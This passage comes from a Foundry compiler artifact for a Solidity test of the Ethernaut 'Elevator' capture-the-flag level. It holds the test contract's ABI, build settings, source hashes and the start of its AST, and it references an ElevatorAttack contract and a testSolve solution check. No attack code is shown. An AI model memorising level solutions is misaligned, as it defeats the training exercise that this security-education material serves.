anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Elevator.t.sol":"TestElevator"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/ElevatorAttack.sol":{"keccak256":"0x1c751127636254a26b226b38329161f4b1a302aaa7bcd87d91c520001501bf97","urls":["bzz-raw://138b717ba7798031f2d3f66692074797cacc011d190c2910a345af8ddce01a28","dweb:/ipfs/Qmbw35HtjgBUXndacSJ9NUAXbJmp61MswmuCdJwyRJqtPY"],"license":"MIT"},"src/levels/Elevator.sol":{"keccak256":"0xbe3cca4d8c9c1dee2b498b1be0163e9be7441cf30c8c5d88a3a4131721530fea","urls":["bzz-raw://67d920e433cb5d01a4ae2a4d278ccbbe8ba9a714480b3efaf0596787c45bcb93","dweb:/ipfs/QmQ6pBsH8VxVNTKUpE3sFv832DNM6D5jK9ymuiqH7woHsH"],"license":"MIT"},"src/levels/ElevatorFactory.sol":{"keccak256":"0x9c936a53095289c2606f0c66ad9769d005fc68fcbaa9115690433a667c8d0b98","urls":["bzz-raw://9b301f044f6ff7dcd3eaa5ccefa33237567c10ced4dd8390dcf3991ba4193873","dweb:/ipfs/QmUeonQiRzzcT1F43bAvJb4TaEs5mL36EDzxR2ifc2JXeo"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Elevator.t.sol":{"keccak256":"0xa2026fd6cab2aa7b4c6471f9b6def4406f57ab3cff95b727b62a6afbaebf4f41","urls":["bzz-raw://62dc891a776b0499bc27c42fc52c65adc1bd13b7f4506d92ca5a7800faa36eac","dweb:/ipfs/QmaNhQY8aULT8N9ZnC5gFzj7h45Gi4YWtc4LmdxXADZMi5"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Elevator.t.sol","id":60624,"exportedSymbols":{"Elevator":[52192],"ElevatorAttack":[49316],"ElevatorFactory":[52245],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestElevator":[60623],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1973:128","nodes":[{"id":60434,"nodeType":"PragmaDirective","src":"32:23:128","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":60435,"nodeType":"ImportDirective","src":"57:28:128","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":60624,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":60437,"nodeType":"ImportDirective","src":"86:43:128","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":60624,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":60436,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:128","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60439,"nodeType":"ImportDirective","src":"131:49:128","nodes":[],"absolutePath":"src/levels/Elevator.sol","file":"src/levels/Elevator.sol","nameLocation":"-1:-1:-1","scope":60624,"sourceUnit":52193,"symbolAliases":[{"foreign":{"id":60438,"name":"Elevator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52192,"src":"139:8:128","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60441,"nodeType":"ImportDirective","src":"181:63:128","nodes":[],"absolutePath":"src/levels/ElevatorFactory.sol","file":"src/levels/ElevatorFactory.sol","nameLocation":"-1:-1:-1","scope":60624,"sourceUnit":52246,"symbolAliases":[{"foreign":{"id":60440,"name":"ElevatorFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52245,"src":"189:15:128","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60443,"nodeType":"ImportDirective","src":"245:62:128","nodes":[],"absolutePath":"src/attacks/ElevatorAttack.sol","file":"src/attacks/ElevatorAttack.sol","nameLocation":"-1:-1:-1","scope":60624,"sourceUnit":49317,"symbolAliases":[{"foreign":{"id":60442,"name":"ElevatorAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49316,"src":"253:14:128","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60445,"nodeType":"ImportDirective","src":"308:48:128","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":60624,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":60444,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"316:5:128","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60447,"nodeType":"ImportDirective","src":"357:44:128","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":60624,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":60446,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"365:9:128","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60623,"nodeType":"ContractDefinition","src":"403:1601:128","nodes":[{"id":60454,"nodeType":"VariableDeclaration","src":"446:19:128","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"456:9:128","scope":60623,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":60453,"nodeType":"UserDefinedTypeName","pathNode":{"id":60452,"name":"Ethernaut","nameLocations":["446:9:128"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"446:9:128"},"referencedDeclaration":49101,"src":"446:9:128","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":60457,"nodeType":"VariableDeclaration","src":"471:17:128","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"480:8:128","scope":60623,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"},"typeName":{"id":60456,"nodeType":"UserDefinedTypeName","pathNode":{"id":60455,"name":"Elevator","nameLocations":["471:8:128"],"nodeType":"IdentifierPath","referencedDeclaration":52192,"src":"471:8:128"},"referencedDeclaration":52192,"src":"471:8:128","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract 